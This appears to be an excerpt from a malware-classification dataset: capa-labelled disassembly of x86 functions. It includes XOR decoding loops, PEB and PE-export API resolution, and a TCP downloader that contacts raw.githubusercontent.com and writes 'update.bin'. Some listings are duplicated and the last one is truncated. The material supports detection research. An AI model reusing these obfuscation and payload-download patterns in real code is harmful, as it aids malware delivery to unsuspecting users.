joyce8/EMBER2024-capa huggingface dataset:
Function at 0xc2b72d9
Capabilities:
Encode data using xor

Disassembly:
call 0xc2b7252
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0xc2b7282
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0xc2b729e
xor edx, 0
jmp 0xc2b72a9
xor edx, edx
jmp 0xc2b72c0
jmp 0xc2b72cc
xor eax, eax
push 0x8427d7c0
call 0xc2b72d9
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0xc2b7315
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0xc2b72ee
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0xc2b732c
add eax, 0
jno 0xc2b7331
add esi, 0
ret 0x10

Function at 0xc2b809a
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0xc2b80bc
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0xc2b825e
cmp edi, dword [ebp + 0x10]
jb 0xc2b825e
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.0c2b7b86
inc edi
jmp 0xc2b8145
jmp 0xc2b8152
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.0c2b7b86
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.0c2b7b86
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0xc2b81a6
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0xc2b818a
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.0c2b81d4
add dword [eax], 0x39
jle 0xc2b81b0
sub al, 0xf5
mov ch, al
call fcn.0c2b81e9
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10
Function at 0xc2b9ec1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0xc2b9ed7
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0xc2b9ee8
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.0c2b9f29
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx

Function at 0xc2bc295
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0xc2bc1de
add ebx, 0
push ecx
call 0xc2bc1f3
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x71276074
sub ebx, dword [0x712958b3]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x712958a3
call fcn.0c2b7cbd
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.0c2b71cb
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0xc2bc351
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0xc2bc351
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0xc2bc308
mov eax, 1
lock xchg dword [0x712958af], eax
push 0x3dd1fc71
call 0xc2bc295
push esi
add esp, 8
cmp eax, 0
jne 0xc2bc27e
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0xc2bc2a4
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0xc2bc2b9
cmp ecx, edx
cmp eax, 0
je 0xc2bc2de
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0xc2bc2c8
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.0c2bc2f7
dec eax
loope 0xc2bc2fa
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x712958af], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0xc2bc32e
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0xc2bc343
jmp 0xc2bc34e
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0xc2bc23c
Function at 0xc2c33b6
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0xc2c368c
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x71282527
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x712794ed
push 0xffffffffffffffff
call fcn.0c2ba5b6
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0xc2c3420
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.0c2c3438
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0xc2c3680
xor eax, 0
ret 4
xor ecx, ecx
jmp 0xc2c3654
Function at 0xc2d2e86
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0xc2d2ea8
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0xc2d2ea8
add ebx, eax
cmp dword [ebx], 0x4550
jne 0xc2d2ea8
ret
cmp word [ebx + 4], 0x14c
jne 0xc2d2ea8
test word [ebx + 0x16], 2
je 0xc2d2ea8
test word [ebx + 0x16], 0x100
je 0xc2d2ea8
cmp word [ebx + 0x18], 0x10b
jne 0xc2d2ea8
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0xc2d2ea8
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0xc2d2f34
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0xc2d2ec8
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.0c2b9e13
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0xc2d2ea8
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0xc2d2f34
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0xc2d2ea8
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0xc2d2ea8
add ebx, eax
cmp dword [ebx], 0x4550
jne 0xc2d2ea8
ret
cmp word [ebx + 4], 0x14c
jne 0xc2d2ea8
test word [ebx + 0x16], 2
je 0xc2d2ea8
test word [ebx + 0x16], 0x100
je 0xc2d2ea8
cmp word [ebx + 0x18], 0x10b
jne 0xc2d2ea8
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0xc2d2ea8
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0xc2d2f34
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0xc2d2ec8
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.0c2b9e13
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0xc2d2ea8
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0xc2d2feb
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0xc2d3044
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0xc2d2feb
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0xc2d2ffa
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0xc6d8c9d
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0xc2d304b
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.0c2b9ec1
cmp eax, dword [ebp + 0xc]
pop eax
je 0xc2d30ea
add edi, 4
add eax, 2
dec ecx
jne 0xc2d3030
call 0xc2d3097
loope 0xc2d308d
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0xc2d30e7
mov dh, pe_nt_image_headers32
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0xc2d30f8
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0xc2d30ab
cmp eax, ecx
ja 0xc2d30ab
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0xc2d3135
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0xc2d312b
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.0c2ba3a0
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0xc2d2ffa
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0xc2d3044
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0xc2d2feb
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0xc2d2ffa
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0xc6d8c9d
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0xc2d304b
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.0c2b9ec1
cmp eax, dword [ebp + 0xc]
pop eax
je 0xc2d30ea
add edi, 4
add eax, 2
dec ecx
jne 0xc2d3030
call 0xc2d3097
loope 0xc2d308d
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0xc2d30e7
mov dh, pe_nt_image_headers32
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0xc2d30f8
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0xc2d30ab
cmp eax, ecx
ja 0xc2d30ab
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0xc2d3135
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0xc2d312b
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.0c2ba3a0
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x100015e7
Capabilities:
Encrypt data via sspi
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [0x10006004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, dword [0x10006420]
mov dword [ebp - 0x50], ecx
lea ecx, [ebp - 0x48]
push ecx
push 4
push eax
mov dword [ebp - 0x4c], eax
call dword [sym.imp.Secur32.dll_QueryContextAttributesA]
test eax, eax
jne 0x10001736
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x48]
push edi
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
pop ecx
test edi, edi
jne 0x1000163e
mov eax, 0x80090304
jmp 0x10001735
test esi, esi
je 0x1000167c
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001647
sub ecx, edx
cmp ecx, 1
jbe 0x1000167c
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000165a
sub ecx, edx
cmp byte [ecx + esi - 1], 0x2f
jne 0x1000167c
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000166f
sub ecx, edx
mov byte [ecx + esi - 1], al
push ebx
push dword [0x10006424]
mov ebx, dword [ebp - 0x48]
push esi
add ebx, edi
push str.GET__s_HTTP_1.0_r_nHost:__s_r_nUser_Agent:_Mozilla_5.0_r_nAccept:__r_n_r_n
push ebx
call fcn.10001036
mov ecx, ebx
add esp, 0x10
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000169c
mov eax, dword [ebp - 0x48]
sub ecx, edx
mov esi, dword [ebp - 0x4c]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x20], ebx
lea eax, [ecx + ebx]
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x14], eax
xor ebx, ebx
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x34]
push ebx
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x5c]
push eax
push ebx
push esi
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x18], 6
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x58], 4
call dword [sym.imp.Secur32.dll_EncryptMessage]
test eax, eax
js 0x10001734
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x34]
push ebx
push eax
push edi
push dword [ebp - 0x50]
call dword [0x1000647c]
cmp eax, 0xffffffff
je 0x10001728
test eax, eax
je 0x10001728
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
xor eax, eax
jmp 0x10001734
push esi
call dword [sym.imp.Secur32.dll_DeleteSecurityContext]
mov eax, 0x80090304
pop ebx
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.100028b9
leave
ret
Function at 0x10001ee5
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
inc ebx
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
push 0xf
mov esi, eax
call fcn.100028ca
push 0x1a4
mov dword [0x10006418], eax
mov dword [eax + 7], esi
call fcn.100028ca
mov esi, dword [0x10006418]
add esp, 0xc
movzx edx, word [0x10006018]
mov edi, eax
mov eax, 0xffff
cmp word [0x10006018], ax
push 2
cmove edx, ebx
mov dword [esi], ebx
pop ebx
push edi
push 0x202
mov dword [esi + 0xb], edi
mov word [esi + 4], dx
mov byte [esi + 6], bl
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea ecx, [edi + 0x198]
mov word [edi + 0x194], bx
call fcn.1000248f
push 0x1c6d
call dword [sym.imp.WS2_32.dll_htons]
mov word [edi + 0x196], ax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
pop edi
pop esi
pop ebx
test eax, eax
jne 0x10001f8d
or ecx, 0xffffffff
call fcn.100023ff
push eax
call fcn.10001f9a
pop ecx
push 0x10004758
call fcn.10001f9a
pop ecx
leave
ret
Function at 0x1000236b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
jne 0x100023ae
push esi
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, 0x2ac29
add byte [0x1000641c], dh
push str.ws2_32
mov word [0x10006018], ax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0
push 0
push 0x10002317
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthread]
add esp, 0xc
pop esi
xor eax, eax
inc eax
pop ebp
ret 0xc

Function at 0x1000248f
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x10006004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 6
push 1
push 2
pop ebx
push ebx
mov edi, ecx
call dword [sym.imp.WS2_32.dll_socket]
push 4
mov esi, eax
mov dword [ebp - 0x18], 0x5dc
lea eax, [ebp - 0x18]
push eax
push 0x1006
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
push str.raw.githubusercontent.com
call dword [sym.imp.WS2_32.dll_gethostbyname]
push 0x1bb
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push esi
mov word [ebp - 0x14], bx
call dword [sym.imp.WS2_32.dll_connect]
push ecx
push ecx
push dword [sym.imp.WS2_32.dll_recv]
push dword [sym.imp.WS2_32.dll_send]
push esi
call fcn.1000104e
add esp, 0x14
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
push str._r_n_r_n
push dword [0x10006478]
call dword [sym.imp.VCRUNTIME140.dll_strstr]
push 0xa
lea ecx, [ebp - 0x1c]
add eax, 4
push ecx
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtoul]
mov ecx, dword [ebp - 4]
add esp, 0x14
mov dword [edi], eax
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.100028b9
leave
ret
Function at 0x1000255a
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push 6
push 1
mov bx, dx
mov esi, ecx
push 2
mov word [ebp - 2], bx
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0x190], eax
cmp eax, 0xffffffff
je 0x100026a0
push 0x10
lea ecx, [esi + 0x194]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
mov al, byte [ebp + 8]
lea ecx, [ebp - 0xc]
and dword [ebp - 0xc], 0
mov byte [ebp - 5], al
lea eax, [ebp - 8]
push 4
push eax
mov byte [ebp - 8], 0
mov word [ebp - 7], bx
call fcn.10002882
push 0x15
call fcn.100028ff
pop ecx
mov edi, eax
mov ecx, edi
call fcn.100023b5
mov ecx, dword [ebp - 0xc]
mov ebx, eax
push 0
push 0x11
push edi
mov dword [ebx + edi], ecx
lea eax, [ebx + edi]
mov ecx, dword [ebp - 8]
mov dword [eax + 4], ecx
push dword [esi + 0x190]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x1000267c
push 0
push 0x15
push edi
push dword [esi + 0x190]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0x15
jne 0x10002678
mov ecx, edi
call fcn.100023d0
test al, al
je 0x10002674
and dword [ebp - 0xc], 0
lea ecx, [ebp - 0xc]
push 0x11
pop eax
sub eax, ebx
push eax
lea eax, [edi + 4]
add eax, ebx
push eax
call fcn.10002882
mov eax, dword [ebx + edi]
cmp eax, dword [ebp - 0xc]
jne 0x10002670
lea eax, [ebx + edi]
mov eax, dword [eax + 4]
mov dword [ebp - 8], eax
cmp byte [ebp - 8], 0x7f
jne 0x1000266c
mov ecx, eax
shr ecx, 8
cmp cx, word [ebp - 2]
jne 0x10002668
shr eax, 0x18
cmp al, byte [ebp + 8]
jne 0x10002664
mov esi, dword [ebx + edi + 8]
push edi
call fcn.100028fa
pop ecx
mov eax, esi
jmp 0x100026b2
push 8
jmp 0x1000267e
push 7
jmp 0x1000267e
push 6
jmp 0x1000267e
push 5
jmp 0x1000267e
push 4
jmp 0x1000267e
push 3
jmp 0x1000267e
push 2
pop ecx
call fcn.100023ff
push eax
call fcn.10001f9a
pop ecx
push edi
call fcn.100028fa
pop ecx
push dword [esi + 0x190]
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x100026af
xor ecx, ecx
inc ecx
call fcn.100023ff
push eax
call fcn.10001f9a
pop ecx
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100026b7
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push edi
push 6
push 1
mov bx, dx
mov edi, ecx
push 2
mov word [ebp - 2], bx
call dword [sym.imp.WS2_32.dll_socket]
mov dword [edi + 0x190], eax
cmp eax, 0xffffffff
je 0x1000286f
push esi
push 0x10
lea ecx, [edi + 0x194]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
mov al, byte [ebp + 8]
lea ecx, [ebp - 0xc]
and dword [ebp - 0xc], 0
mov byte [ebp - 5], al
lea eax, [ebp - 8]
push 4
push eax
mov byte [ebp - 8], 1
mov word [ebp - 7], bx
call fcn.10002882
push 0x11
call fcn.100028ff
pop ecx
mov esi, eax
mov ecx, esi
call fcn.100023b5
mov ecx, dword [ebp - 0xc]
mov ebx, eax
push 0
push 0x11
push esi
mov dword [ebx + esi], ecx
lea eax, [ebx + esi]
mov ecx, dword [ebp - 8]
mov dword [eax + 4], ecx
push dword [edi + 0x190]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x1000284a
push 0
push 0x11
push esi
push dword [edi + 0x190]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0x11
jne 0x10002846
mov ecx, esi
call fcn.100023d0
test al, al
je 0x10002842
and dword [ebp - 0xc], 0
lea ecx, [ebp - 0xc]
push 0xd
pop eax
sub eax, ebx
push eax
lea eax, [esi + 4]
add eax, ebx
push eax
call fcn.10002882
mov eax, dword [ebx + esi]
cmp eax, dword [ebp - 0xc]
jne 0x1000283e
lea eax, [ebx + esi]
mov eax, dword [eax + 4]
mov dword [ebp - 8], eax
mov cl, byte [ebp - 8]
cmp cl, 0x7e
jne 0x10002831
mov ecx, eax
shr ecx, 8
cmp cx, word [ebp - 2]
jne 0x1000282d
shr eax, 0x18
cmp al, byte [ebp + 8]
jne 0x10002829
push 0xfffffffffffffffe
pop ecx
call fcn.100023ff
push eax
call fcn.10001f9a
push esi
call fcn.100028fa
push 0x401
call fcn.100028ff
push 0x10004850
push str.update.bin
mov esi, eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 0x14
mov ebx, eax
jmp 0x10002808
push eax
push 1
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
push 0
push 0x400
push esi
push dword [edi + 0x190]
call dword [sym.imp.WS2_32.dll_recv]
push ebx
test eax, eax
jg 0x100027fb
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
jmp 0x10002858
push 8
jmp 0x1000284c
push 7
jmp 0x1000284c
cmp cl, 0xff
jne 0x1000283a
push 9
jmp 0x1000284c
push 6
jmp 0x1000284c
push 5
jmp 0x1000284c
push 4
jmp 0x1000284c
push 3
jmp 0x1000284c
push 2
pop ecx
call fcn.100023ff
push eax
call fcn.10001f9a
pop ecx
push esi
call fcn.100028fa
pop ecx
push dword [edi + 0x190]
call dword [sym.imp.WS2_32.dll_closesocket]
pop esi
jmp 0x1000287e
xor ecx, ecx
inc ecx
call fcn.100023ff
push eax
call fcn.10001f9a
pop ecx
pop edi
pop ebx
leave
ret
Function at 0x10002882
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
mov edx, dword [ecx]
je 0x100028b3
push esi
push edi
mov edi, dword [ebp + 8]
